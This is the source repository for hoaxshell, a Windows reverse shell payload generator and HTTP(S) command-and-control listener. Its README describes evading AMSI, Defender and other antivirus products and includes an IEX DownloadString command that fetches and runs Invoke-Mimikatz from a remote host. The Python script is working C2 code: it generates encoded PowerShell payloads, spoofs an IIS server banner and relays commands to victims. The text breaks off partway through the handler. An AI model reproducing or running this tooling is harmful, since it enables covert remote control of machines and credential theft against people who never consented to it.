├── LICENSE.md ├── README.md ├── hoaxshell.py ├── payload_templates ├── http_payload.ps1 ├── http_payload_outfile.ps1 ├── https_payload.ps1 ├── https_payload_localtunnel.ps1 ├── https_payload_localtunnel_outfile.ps1 ├── https_payload_ngrok.ps1 ├── https_payload_ngrok_outfile.ps1 ├── https_payload_outfile.ps1 ├── https_payload_trusted.ps1 └── https_payload_trusted_outfile.ps1 ├── requirements.txt ├── revshells ├── README.md ├── hoaxshell-listener.py └── requirements.txt └── screenshots ├── Bit Defender ├── image.png ├── image2.png ├── image3.png ├── image4.png ├── image5.png └── image6.png ├── hoaxshell-win10.png ├── hoaxshell-win11-v2.png ├── hoaxshell-win11.png └── mimikatz.png /LICENSE.md: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2022, Panagiotis Chartas 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hoaxshell 2 | [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/) 3 | 4 | 5 | [![License](https://img.shields.io/badge/License-BSD-red.svg)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md) 6 | 7 | 8 | #### ⚡ The latest version of this project is the [HoaxShell standalone listener](https://github.com/t3l3machus/hoaxshell/tree/main/revshells) which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com (make sure to choose hoaxshell as the listener). 9 | 10 | :warning: As of 2022-10-18, hoaxshell is detected by AMSI ([malware-encyclopedia](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fXoashell.A&threatid=2147833654)). You need to obfuscate the generated payload in order to use. Check out this video on how to obfuscate manually and bypass MS Defender: 11 | - Example with Hoaxshell -> [youtube.com/watch?v=iElVfagdCD4](https://www.youtube.com/watch?v=iElVfagdCD4) 12 | - Example with common powershell revshell templates -> [youtube.com/watch?v=3HddKylkRzM](https://www.youtube.com/watch?v=3HddKylkRzM) 13 | 14 | ## Purpose 15 | hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell, based on the following concept: 16 | 17 | ![image](https://user-images.githubusercontent.com/75489922/197529603-1c9238ea-af14-41f7-8834-dd37ad77e809.png) 18 | 19 | This c2 concept (which could be implemented by using protocols other than http or pre-installed exes) can be used to establish sessions that promote the illusion of having a shell, but are far from an actual pty. 20 | 21 | HoaxShell did well against AV software (check [AV bypass PoCs table](#AV-Bypass-PoCs) for more info). Although it is now generally detected, it is easy to obfuscate the generated payload(s) using automated tools or manually. 22 | 23 | **Disclaimer**: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. You are responsible for any trouble you may cause by using this tool. 24 | 25 | ### Video Presentations 26 | [2022-10-11] Recent & awesome, made by [John Hammond](https://twitter.com/_johnhammond) -> [youtube.com/watch?v=fgSARG82TJY](https://www.youtube.com/watch?v=fgSARG82TJY) 27 | [2022-07-15] Original release demo, made by me -> [youtube.com/watch?v=SEufgD5UxdU](https://www.youtube.com/watch?v=SEufgD5UxdU) 28 | 29 | ## Screenshots 30 | ![image](https://user-images.githubusercontent.com/75489922/196024757-fcb13b73-153c-426f-a87c-bf35fd3e784d.png) 31 | 32 | Find more screenshots [here](screenshots/). 33 | 34 | ## Installation 35 | ``` 36 | git clone https://github.com/t3l3machus/hoaxshell 37 | cd ./hoaxshell 38 | sudo pip3 install -r requirements.txt 39 | chmod +x hoaxshell.py 40 | ``` 41 | 42 | ## Usage 43 | **Important**: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the `-g` option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell. 44 | 45 | ### Basic shell session over http 46 | When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the `-r` argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it. 47 | 48 | #### Payload that utilizes `Invoke-Expression` (default) 49 | ``` 50 | sudo python3 hoaxshell.py -s 51 | ``` 52 | 53 | #### Payload that writes and executes commands from a file 54 | Use `-x` to provide a .ps1 file name (absolute path) to be created on the victim machine. You should check the raw payload before executing, make sure the path you provided is solid. 55 | ``` 56 | sudo python3 hoaxshell.py -s -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" 57 | ``` 58 | 59 | ### Recommended usage to avoid detection (over http) 60 | Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. Use -H to provide a standard or custom http header name to avoid detection. 61 | ``` 62 | sudo python3 hoaxshell.py -s -i -H "Authorization" 63 | sudo python3 hoaxshell.py -s -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" 64 | ``` 65 | 66 | ### Encrypted shell session (https + self-signed certificate) 67 | This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not recommended. 68 | ``` 69 | # Generate self-signed certificate: 70 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 71 | 72 | # Pass the cert.pem and key.pem as arguments: 73 | sudo python3 hoaxshell.py -s -c -k 74 | 75 | ``` 76 | 77 | ### Encrypted shell session with a trusted certificate 78 | If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem). 79 | ``` 80 | sudo python3 hoaxshell.py -s -t -c -k 81 | ``` 82 | 83 | ### Grab session mode 84 | In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine. 85 | ``` 86 | sudo python3 hoaxshell.py -s -g 87 | ``` 88 | **Important**: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc). 89 | 90 | ### Constraint language mode support 91 | Use any of the payload variations with the `-cm` (--constraint-mode) option to generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy. 92 | 93 | ``` 94 | sudo python3 hoaxshell.py -s -cm 95 | ``` 96 | ![image](https://user-images.githubusercontent.com/75489922/195785804-7fa3da9b-a10f-4c72-895a-0648271e7ec6.png) 97 | 98 | 99 | ### Shell session over https using tunneling tools ([Ngrok](https://ngrok.com) / [LocalTunnel](https://localtunnel.me)) 100 | Utilize tunnelling programmes **Ngrok** or **LocalTunnel** to get sessions through secure tunnels, overcominge issues like not having a Static IP address or your ISP forbidding Port-Forwarding. 101 | 102 | Use `-ng` or `--ngrok` for Ngrok server 103 | ``` 104 | sudo python3 hoaxshell.py -ng 105 | ``` 106 | 107 | Use `-lt` or `--localtunnel` for LocalTunnel server 108 | ``` 109 | sudo python3 hoaxshell.py -lt 110 | ``` 111 | 112 | ## Limitations 113 | The shell is going to hang if you execute a command that initiates an interactive session. Example: 114 | ``` 115 | # this command will execute succesfully and you will have no problem: 116 | > powershell echo 'This is a test' 117 | 118 | # But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang: 119 | > powershell 120 | 121 | # In the same manner, you won't have a problem executing this: 122 | > cmd /c dir /a 123 | 124 | # But this will cause your hoaxshell to hang: 125 | > cmd.exe 126 | ``` 127 | 128 | So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands: 129 | ``` 130 | hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' 131 | ``` 132 | Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context. 133 | 134 | ## AV Bypass PoCs 135 | Some awesome people were kind enough to send me/publish PoC videos of executing hoaxshell's payloads against systems running AV solutions other than MS Defender, without being detected. Below is a reference table with links: 136 | 137 | **Important**: I don't know if you can still use hoaxshell effectively to bypass these solutions. It's only reasonable to assume the detectability will change soon (if not already). 138 | 139 | | AV Solution | Date | PoC | 140 | |---|---|---| 141 | | SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 | 142 | | Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 | 143 | | Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop | 144 | | McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 | 145 | | Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk | 146 | | Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k | 147 | 148 | 149 | ## News 150 | - `13/10/2022` - Added constraint language mode support (-cm) option. 151 | - `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools **ngrok** or **localtunnel** in order to get around limitations like Static IP addresses and Port-Forwarding. 152 | - `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option. 153 | - `04/09/2022` - Modifications were made to improve the command delivery mechanism as it included components that could be easily flagged. The `-t` option along with the `https_payload_trusted.ps1` were added. You can now use hoaxshell by supplying a domain name along with a trusted certificate. This will generate a shorter and less detectable https payload. 154 | - `01/09/2022` - Added the `-H` option which allows users to give a custom name to the (random by default) header utilized in the attack process, carring the shell's session id. This makes the attack less detectable e.g. by using a standard header name e.g. "Authorization". 155 | - `31/08/2022` - Added the `-i` option that generates the PS payload adjusted to use "Invoke-RestMethod' instead of 'Invoke-WebRequest' utility, so now the user can choose (thanks to this [issue](https://github.com/t3l3machus/hoaxshell/issues/8)). I also fixed a bug that existed in the prompt (it sometimes messed the path). 156 | -------------------------------------------------------------------------------- /hoaxshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: Panagiotis Chartas (t3l3machus) 4 | # https://github.com/t3l3machus 5 | 6 | from http.server import HTTPServer, BaseHTTPRequestHandler 7 | import ssl, sys, argparse, base64, gnureadline, uuid, re 8 | from os import system, path 9 | from warnings import filterwarnings 10 | from datetime import date, datetime 11 | from IPython.display import display 12 | from threading import Thread, Event 13 | from time import sleep 14 | from ipaddress import ip_address 15 | from subprocess import check_output, Popen, PIPE 16 | from string import ascii_uppercase, ascii_lowercase 17 | from platform import system as get_system_type 18 | from random import randint 19 | from pyperclip import copy as copy2cb 20 | 21 | filterwarnings("ignore", category = DeprecationWarning) 22 | 23 | ''' Colors ''' 24 | MAIN = '\033[38;5;50m' 25 | PLOAD = '\033[38;5;119m' 26 | GREEN = '\033[38;5;47m' 27 | BLUE = '\033[0;38;5;12m' 28 | ORANGE = '\033[0;38;5;214m' 29 | RED = '\033[1;31m' 30 | END = '\033[0m' 31 | BOLD = '\033[1m' 32 | 33 | 34 | ''' MSG Prefixes ''' 35 | INFO = f'{MAIN}Info{END}' 36 | WARN = f'{ORANGE}Warning{END}' 37 | IMPORTANT = WARN = f'{ORANGE}Important{END}' 38 | FAILED = f'{RED}Fail{END}' 39 | DEBUG = f'{ORANGE}Debug{END}' 40 | 41 | # Enable ansi escape characters 42 | def chill(): 43 | pass 44 | 45 | WINDOWS = True if get_system_type() == 'Windows' else False 46 | system('') if WINDOWS else chill() 47 | 48 | 49 | # -------------- Arguments & Usage -------------- # 50 | parser = argparse.ArgumentParser( 51 | formatter_class=argparse.RawTextHelpFormatter, 52 | epilog=''' 53 | 54 | Usage examples: 55 | 56 | - Basic shell session over http: 57 | 58 | sudo python3 hoaxshell.py -s 59 | 60 | - Recommended usage to avoid detection (over http): 61 | 62 | # Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. 63 | # Use -H to provide a standard or custom http header name to avoid detection. 64 | sudo python3 hoaxshell.py -s -i -H "Authorization" 65 | 66 | # The same but with --exec-outfile (-x) 67 | sudo python3 hoaxshell.py -s -i -H "Authorization" -x "C:\\Users\\\\\\$env:USERNAME\\.local\\hack.ps1" 68 | 69 | - Encrypted shell session over https with a trusted certificate: 70 | 71 | sudo python3 hoaxshell.py -s -t -c -k 72 | 73 | - Encrypted shell session over https with a self-signed certificate (Not recommended): 74 | 75 | # First you need to generate self-signed certificates: 76 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 77 | sudo python3 hoaxshell.py -s -c -k 78 | 79 | - Encrypted shell session with reverse proxy tunneling tools: 80 | 81 | sudo python3 hoaxshell.py -lt 82 | 83 | OR 84 | 85 | sudo python3 hoaxshell.py -ng 86 | 87 | 88 | ''' 89 | ) 90 | 91 | parser.add_argument("-s", "--server-ip", action="store", help = "Your hoaxshell server ip address or domain.") 92 | parser.add_argument("-c", "--certfile", action="store", help = "Path to your ssl certificate.") 93 | parser.add_argument("-k", "--keyfile", action="store", help = "Path to the private key for your certificate.") 94 | parser.add_argument("-p", "--port", action="store", help = "Your hoaxshell server port (default: 8080 over http, 443 over https).", type = int) 95 | parser.add_argument("-f", "--frequency", action="store", help = "Frequency of cmd execution queue cycle (A low value creates a faster shell but produces more http traffic. *Less than 0.8 will cause trouble. default: 0.8s).", type = float) 96 | parser.add_argument("-i", "--invoke-restmethod", action="store_true", help = "Generate payload using the 'Invoke-RestMethod' instead of the default 'Invoke-WebRequest' utility.") 97 | parser.add_argument("-H", "--Header", action="store", help = "Hoaxshell utilizes a non-standard header to transfer the session id between requests. A random name is given to that header by default. Use this option to set a custom header name.") 98 | parser.add_argument("-x", "--exec-outfile", action="store", help = "Provide a filename (absolute path) on the victim machine to write and execute commands from instead of using \"Invoke-Expression\". The path better be quoted. Be careful when using special chars in the path (e.g. $env:USERNAME) as they must be properly escaped. See usage examples for details. CAUTION: you won't be able to change directory with this method. Your commands must include ablsolute paths to files etc.") 99 | parser.add_argument("-r", "--raw-payload", action="store_true", help = "Generate raw payload instead of base64 encoded.") 100 | parser.add_argument("-o", "--obfuscate", action="store_true", help = "Obfuscate generated payload.") 101 | parser.add_argument("-v", "--server-version", action="store", help = "Provide a value for the \"Server\" response header (default: Microsoft-IIS/10)") 102 | parser.add_argument("-g", "--grab", action="store_true", help = "Attempts to restore a live session (default: false).") 103 | parser.add_argument("-t", "--trusted-domain", action="store_true", help = "If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem). See usage examples for more details.") 104 | parser.add_argument("-cm", "--constraint-mode", action="store_true", help="Generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy.") 105 | parser.add_argument("-lt", "--localtunnel", action="store_true", help="Generate Payload with localtunnel") 106 | parser.add_argument("-ng", "--ngrok", action="store_true",help="Generate Payload with Ngrok") 107 | parser.add_argument("-u", "--update", action="store_true", help = "Pull the latest version from the original repo.") 108 | parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") 109 | 110 | args = parser.parse_args() 111 | 112 | 113 | def exit_with_msg(msg): 114 | print(f"[{DEBUG}] {msg}") 115 | sys.exit(0) 116 | 117 | 118 | # Check if port is valid. 119 | if args.port: 120 | if args.port < 1 or args.port > 65535: 121 | exit_with_msg('Port number is not valid.') 122 | 123 | # Check if both cert and key files were provided 124 | if (args.certfile and not args.keyfile) or (args.keyfile and not args.certfile): 125 | exit_with_msg('Failed to start over https. Missing key or cert file (check -h for more details).') 126 | 127 | ssl_support = True if args.certfile and args.keyfile else False 128 | 129 | # -------------- General Functions -------------- # 130 | def print_banner(): 131 | 132 | padding = ' ' 133 | 134 | H = [[' ', '┐', ' ', '┌'], [' ', '├','╫','┤'], [' ', '┘',' ','└']] 135 | O = [[' ', '┌','─','┐'], [' ', '│',' ','│'], [' ', '└','─','┘']] 136 | A = [[' ', '┌','─','┐'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 137 | X = [[' ', '─','┐',' ','┬'], [' ', '┌','┴','┬', '┘'], [' ', '┴',' ','└','─']] 138 | S = [[' ', '┌','─','┐'], [' ', '└','─','┐'], [' ', '└','─','┘']] 139 | H = [[' ', '┬',' ','┬'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 140 | E = [[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']] 141 | L = [[' ', '┬',' ',' '], [' ', '│',' ', ' '], [' ', '┴','─','┘']] 142 | 143 | banner = [H,O,A,X,S,H,E,L,L] 144 | final = [] 145 | print('\r') 146 | init_color = 36 147 | txt_color = init_color 148 | cl = 0 149 | 150 | for charset in range(0, 3): 151 | for pos in range(0, len(banner)): 152 | for i in range(0, len(banner[pos][charset])): 153 | clr = f'\033[38;5;{txt_color}m' 154 | char = f'{clr}{banner[pos][charset][i]}' 155 | final.append(char) 156 | cl += 1 157 | txt_color = txt_color + 36 if cl <= 3 else txt_color 158 | 159 | cl = 0 160 | 161 | txt_color = init_color 162 | init_color += 31 163 | 164 | if charset < 2: final.append('\n ') 165 | 166 | print(f" {''.join(final)}") 167 | print(f'{END}{padding} by t3l3machus\n') 168 | 169 | 170 | 171 | def promptHelpMsg(): 172 | print( 173 | ''' 174 | \r Command Description 175 | \r ------- ----------- 176 | \r help Print this message. 177 | \r payload Print payload (base64). 178 | \r rawpayload Print payload (raw). 179 | \r cmdinspector Turn Session Defender on/off. 180 | \r clear Clear screen. 181 | \r exit/quit/q Close session and exit. 182 | ''') 183 | 184 | 185 | 186 | def encodePayload(payload): 187 | enc_payload = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode() 188 | return enc_payload 189 | 190 | 191 | 192 | def is_valid_uuid(value): 193 | 194 | try: 195 | uuid.UUID(str(value)) 196 | return True 197 | 198 | except ValueError: 199 | return False 200 | 201 | 202 | 203 | def checkPulse(stop_event): 204 | 205 | while not stop_event.is_set(): 206 | 207 | timestamp = int(datetime.now().timestamp()) 208 | tlimit = frequency + 10 209 | 210 | if Hoaxshell.execution_verified and Hoaxshell.prompt_ready: 211 | if abs(Hoaxshell.last_received - timestamp) > tlimit: 212 | print(f'\r[{WARN}] Session has been idle for more than {tlimit} seconds. Shell probably died.') 213 | Hoaxshell.prompt_ready = True 214 | stop_event.set() 215 | 216 | else: 217 | Hoaxshell.last_received = timestamp 218 | 219 | sleep(5) 220 | 221 | 222 | # ------------------ Settings ------------------ # 223 | prompt = "hoaxshell > " 224 | quiet = True if args.quiet else False 225 | frequency = args.frequency if args.frequency else 0.8 226 | stop_event = Event() 227 | t_process = None 228 | 229 | 230 | def rst_prompt(force_rst = False, prompt = prompt, prefix = '\r'): 231 | 232 | if Hoaxshell.rst_promt_required or force_rst: 233 | sys.stdout.write(prefix + prompt + gnureadline.get_line_buffer()) 234 | Hoaxshell.rst_promt_required = False 235 | 236 | 237 | # -------------- Tunneling Server -------------- # 238 | class Tunneling: 239 | 240 | def __init__(self, port): 241 | 242 | '''Initialization of Tunnel Process''' 243 | 244 | localtunnel = ['lt', '-p', str(port), '-l', '127.0.0.1'] 245 | ngrok = ['ngrok', 'http', str(port), '--log', 'stdout'] 246 | 247 | if args.ngrok: 248 | self.__start(ngrok) 249 | elif args.localtunnel: 250 | self.__start(localtunnel) 251 | 252 | def __start(self, command): 253 | '''Start Tunneling Process''' 254 | try: 255 | self.process = Popen( 256 | command, 257 | stdin=PIPE, 258 | stdout=PIPE, 259 | stderr=PIPE) 260 | except FileNotFoundError: 261 | 262 | if args.localtunnel: 263 | 264 | exit_with_msg(f"Please install LocalTunnel using the instructions at https://localtunnel.me") 265 | 266 | elif args.ngrok: 267 | 268 | exit_with_msg(f"Please install Ngrok using the instructions at https://ngrok.com") 269 | 270 | def lt_address(self): 271 | '''LocalTunnel Address''' 272 | 273 | output = self.process.stdout.readline().decode("utf-8").strip() 274 | 275 | try: 276 | 277 | if output and "your url is" in output: 278 | return output.replace('your url is: https://', '') 279 | 280 | else: 281 | self.process.kill() 282 | exit_with_msg(f"{output}") 283 | except Exception as ex: 284 | exit_with_msg(ex) 285 | 286 | def ngrok_address(self): 287 | '''Ngrok Address''' 288 | 289 | try: 290 | #sleep(5) #wait until ngrok get start 291 | while True: 292 | output = self.process.stdout.readline().decode("utf-8").strip() 293 | 294 | if not output and self.process.poll() is not None: 295 | break 296 | 297 | elif 'url=' in output: 298 | #output = output.split('url=https://')[-1] 299 | output = url = re.compile(r".*url=(http|https):\/\/(.*)").findall(output)[0][1] 300 | return output 301 | 302 | except Exception as ex: 303 | self.process.terminate() 304 | exit_with_msg(ex) 305 | 306 | 307 | def terminate(self): 308 | 309 | self.process.kill() #Terminate running tunnel process 310 | print(f'\r[{WARN}] Tunnel terminated.') 311 | 312 | 313 | 314 | class Session_Defender: 315 | 316 | is_active = True 317 | windows_dangerous_commands = ["powershell.exe", "powershell", "cmd.exe", "cmd", "curl", "wget", "telnet"] 318 | interpreters = ['python', 'python3', 'php', 'ruby', 'irb', 'perl', 'jshell', 'node', 'ghci'] 319 | 320 | @staticmethod 321 | def inspect_command(os, cmd): 322 | 323 | # Check if command includes unclosed single/double quotes or backticks OR id ends with backslash 324 | if Session_Defender.has_unclosed_quotes_or_backticks(cmd): 325 | return True 326 | 327 | cmd = cmd.strip().lower() 328 | 329 | # Check for common commands and binaries that start interactive sessions within shells OR prompt the user for input 330 | if cmd in (Session_Defender.windows_dangerous_commands + Session_Defender.interpreters): 331 | return True 332 | 333 | return False 334 | 335 | 336 | @staticmethod 337 | def has_unclosed_quotes_or_backticks(cmd): 338 | 339 | stack = [] 340 | 341 | for i, c in enumerate(cmd): 342 | if c in ["'", '"', "`"]: 343 | if not stack or stack[-1] != c: 344 | stack.append(c) 345 | else: 346 | stack.pop() 347 | elif c == "\\" and i < len(cmd) - 1: 348 | i += 1 349 | 350 | return len(stack) > 0 351 | 352 | 353 | @staticmethod 354 | def ends_with_backslash(cmd): 355 | return True if cmd.endswith('\\') else False 356 | 357 | 358 | @staticmethod 359 | def print_warning(): 360 | print(f'[{WARN}] Dangerous input detected. This command may break the shell session. If you want to execute it anyway, disable the Session Defender by running "cmdinspector".') 361 | rst_prompt(prompt = prompt) 362 | 363 | 364 | # -------------- Hoaxshell Server -------------- # 365 | class Hoaxshell(BaseHTTPRequestHandler): 366 | 367 | restored = False 368 | rst_promt_required = False 369 | prompt_ready = True 370 | command_pool = [] 371 | execution_verified = False 372 | last_received = '' 373 | verify = str(uuid.uuid4())[0:8] 374 | get_cmd = str(uuid.uuid4())[0:8] 375 | post_res = str(uuid.uuid4())[0:8] 376 | hid = str(uuid.uuid4()).split("-") 377 | header_id = f'X-{hid[0][0:4]}-{hid[1]}' if not args.Header else args.Header 378 | SESSIONID = '-'.join([verify, get_cmd, post_res]) 379 | server_version = 'Microsoft-IIS/10' if not args.server_version else args.server_version 380 | init_dir = None 381 | 382 | 383 | def cmd_output_interpreter(self, output, constraint_mode = False): 384 | 385 | global prompt 386 | 387 | try: 388 | 389 | if constraint_mode: 390 | output = output.decode('utf-8', 'ignore') 391 | 392 | else: 393 | bin_output = output.decode('utf-8').split(' ') 394 | to_b_numbers = [ int(n) for n in bin_output ] 395 | b_array = bytearray(to_b_numbers) 396 | output = b_array.decode('utf-8', 'ignore') 397 | 398 | tmp = output.rsplit("Path", 1) 399 | output = tmp[0] 400 | junk = True if re.search("Provider : Microsoft.PowerShell.Core", output) else False 401 | output = output.rsplit("Drive", 1)[0] if junk else output 402 | 403 | if Hoaxshell.init_dir == None: 404 | p = tmp[-1].strip().rsplit("\n")[-1] 405 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 406 | Hoaxshell.init_dir = p 407 | 408 | if not args.exec_outfile: 409 | p = tmp[-1].strip().rsplit("\n")[-1] 410 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 411 | 412 | else: 413 | p = Hoaxshell.init_dir 414 | 415 | prompt = f"PS {p} > " 416 | 417 | except UnicodeDecodeError: 418 | print(f'[{WARN}] Decoding data to UTF-8 failed. Printing raw data.') 419 | 420 | if isinstance(output, bytes): 421 | return str(output) 422 | 423 | else: 424 | output = output.strip() + '\n' if output.strip() != '' else output.strip() 425 | return output 426 | 427 | 428 | 429 | def do_GET(self): 430 | 431 | timestamp = int(datetime.now().timestamp()) 432 | Hoaxshell.last_received = timestamp 433 | 434 | if args.grab and not Hoaxshell.restored: 435 | if not args.Header: 436 | header_id = [header.replace("X-", "") for header in self.headers.keys() if re.match("X-[a-z0-9]{4}-[a-z0-9]{4}", header)] 437 | Hoaxshell.header_id = f'X-{header_id[0]}' 438 | else: 439 | Hoaxshell.header_id = args.Header 440 | 441 | session_id = self.headers.get(Hoaxshell.header_id) 442 | 443 | if len(session_id) == 26: 444 | h = session_id.split('-') 445 | Hoaxshell.verify = h[0] 446 | Hoaxshell.get_cmd = h[1] 447 | Hoaxshell.post_res = h[2] 448 | Hoaxshell.SESSIONID = session_id 449 | Hoaxshell.restored = True 450 | Hoaxshell.execution_verified = True 451 | session_check = Thread(target = checkPulse, args = (stop_event,)) 452 | session_check.daemon = True 453 | session_check.start() 454 | 455 | print(f'\r[{GREEN}Shell{END}] {BOLD}Session restored!{END}') 456 | Hoaxshell.rst_promt_required = True 457 | 458 | self.server_version = Hoaxshell.server_version 459 | self.sys_version = "" 460 | session_id = self.headers.get(Hoaxshell.header_id) 461 | legit = True if session_id == Hoaxshell.SESSIONID else False 462 | 463 | # Verify execution 464 | if self.path == f'/{Hoaxshell.verify}' and legit: 465 | 466 | self.send_response(200) 467 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 468 | self.send_header('Access-Control-Allow-Origin', '*') 469 | self.end_headers() 470 | self.wfile.write(bytes('OK', "utf-8")) 471 | Hoaxshell.execution_verified = True 472 | session_check = Thread(target = checkPulse, args = (stop_event,)) 473 | session_check.daemon = True 474 | session_check.start() 475 | print(f'\r[{GREEN}Shell{END}] {BOLD}Payload execution verified!{END}') 476 | print(f'\r[{GREEN}Shell{END}] {BOLD}Stabilizing command prompt...{END}', end = '\n\n') #end = '' 477 | print(f'\r[{IMPORTANT}] You can\'t change dir while utilizing --exec-outfile (-x) option. Your commands must include absolute paths to files, etc.') if args.exec_outfile else chill() 478 | Hoaxshell.prompt_ready = False 479 | Hoaxshell.command_pool.append(f"echo `r;pwd") 480 | Hoaxshell.rst_promt_required = True 481 | 482 | 483 | # Grab cmd 484 | elif self.path == f'/{Hoaxshell.get_cmd}' and legit and Hoaxshell.execution_verified: 485 | 486 | self.send_response(200) 487 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 488 | self.send_header('Access-Control-Allow-Origin', '*') 489 | self.end_headers() 490 | 491 | if len(Hoaxshell.command_pool): 492 | cmd = Hoaxshell.command_pool.pop(0) 493 | self.wfile.write(bytes(cmd, "utf-8")) 494 | 495 | else: 496 | self.wfile.write(bytes('None', "utf-8")) 497 | 498 | Hoaxshell.last_received = timestamp 499 | 500 | 501 | else: 502 | self.send_response(200) 503 | self.end_headers() 504 | self.wfile.write(b'Move on mate.') 505 | pass 506 | 507 | 508 | 509 | def do_POST(self): 510 | 511 | global prompt 512 | timestamp = int(datetime.now().timestamp()) 513 | Hoaxshell.last_received = timestamp 514 | self.server_version = Hoaxshell.server_version 515 | self.sys_version = "" 516 | session_id = self.headers.get(Hoaxshell.header_id) 517 | legit = True if session_id == Hoaxshell.SESSIONID else False 518 | 519 | # cmd output 520 | if self.path == f'/{Hoaxshell.post_res}' and legit and Hoaxshell.execution_verified: 521 | 522 | try: 523 | self.send_response(200) 524 | self.send_header('Access-Control-Allow-Origin', '*') 525 | self.send_header('Content-Type', 'text/plain') 526 | self.end_headers() 527 | self.wfile.write(b'OK') 528 | content_len = int(self.headers.get('Content-Length')) 529 | output = self.rfile.read(content_len) 530 | output = Hoaxshell.cmd_output_interpreter(self, output, constraint_mode = args.constraint_mode) 531 | 532 | if output: 533 | print(f'\r{GREEN}{output}{END}') 534 | 535 | 536 | except ConnectionResetError: 537 | print(f'[{FAILED}] There was an error reading the response, most likely because of the size (Content-Length: {self.headers.get("Content-Length")}). Try redirecting the command\'s output to a file and transfering it to your machine.') 538 | 539 | 